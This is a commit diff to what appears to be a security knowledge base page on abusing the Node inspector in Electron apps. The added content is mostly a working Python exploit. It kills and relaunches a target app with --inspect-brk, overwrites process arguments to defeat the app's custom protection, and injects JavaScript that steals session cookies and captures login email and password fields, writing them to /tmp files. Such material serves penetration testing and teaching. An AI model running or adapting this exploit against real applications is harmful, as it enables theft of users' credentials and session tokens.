This commit is contained in:
Carlos Polop 2025-02-12 18:31:00 +01:00
parent bda8d01465
commit df7e2418d3

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@ -172,6 +172,216 @@ For example:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
In [**this blogpost**](https://hackerone.com/reports/1274695), this debugging is abused to make a headless chrome **download arbitrary files in arbitrary locations**.
> [!TIP]
> If an app has its custom way to check if env variables or params such as `--inspect` are set, you could try to **bypass** it in runtime using the arg `--inspect-brk` which will **stop the execution** at the beggining the app and execute a bypass (overwritting the args or the env variables of the current process for example).
The folllowing was an exploit that monitoring and executing the app with the param `--inspect-brk` it was possible to bypass the custom protection it had (overwritting the params of the process to remove `--inspect-brk`) and then injecting a JS payload to dump cookies and credentials from the app:
```python
import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep
INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None
JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');
var wc = webContents.getAllWebContents()[0]
function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}
function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}
function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}
get_cookies();
get_creds();
console.log("Payloads injected");
"""
async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL
url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url
async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1) # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9) # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")
async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
sleep(1)
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
await send_cmd(ws, "Profiler.enable")
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")
async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()
sleep(7)
await js_payloads()
async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT
CONT += 1
# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)
# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)
# Print for debugging
print(f"[{method} / {CONT}] ->", data)
if get_first:
return data
# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data
# Otherwise it's an event or unrelated message; keep reading
if __name__ == "__main__":
asyncio.run(main())
```
> [!CAUTION]
> If the fuse **`EnableNodeCliInspectArguments`** is disabled, the app will **ignore node parameters** (such as `--inspect`) when launched unless the env variable **`ELECTRON_RUN_AS_NODE`** is set, which will be also **ignored** if the fuse **`RunAsNode`** is disabled.
>
@ -189,7 +399,7 @@ ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
In [**this blogpost**](https://hackerone.com/reports/1274695), this debugging is abused to make a headless chrome **download arbitrary files in arbitrary locations**.
### Injection from the App Plist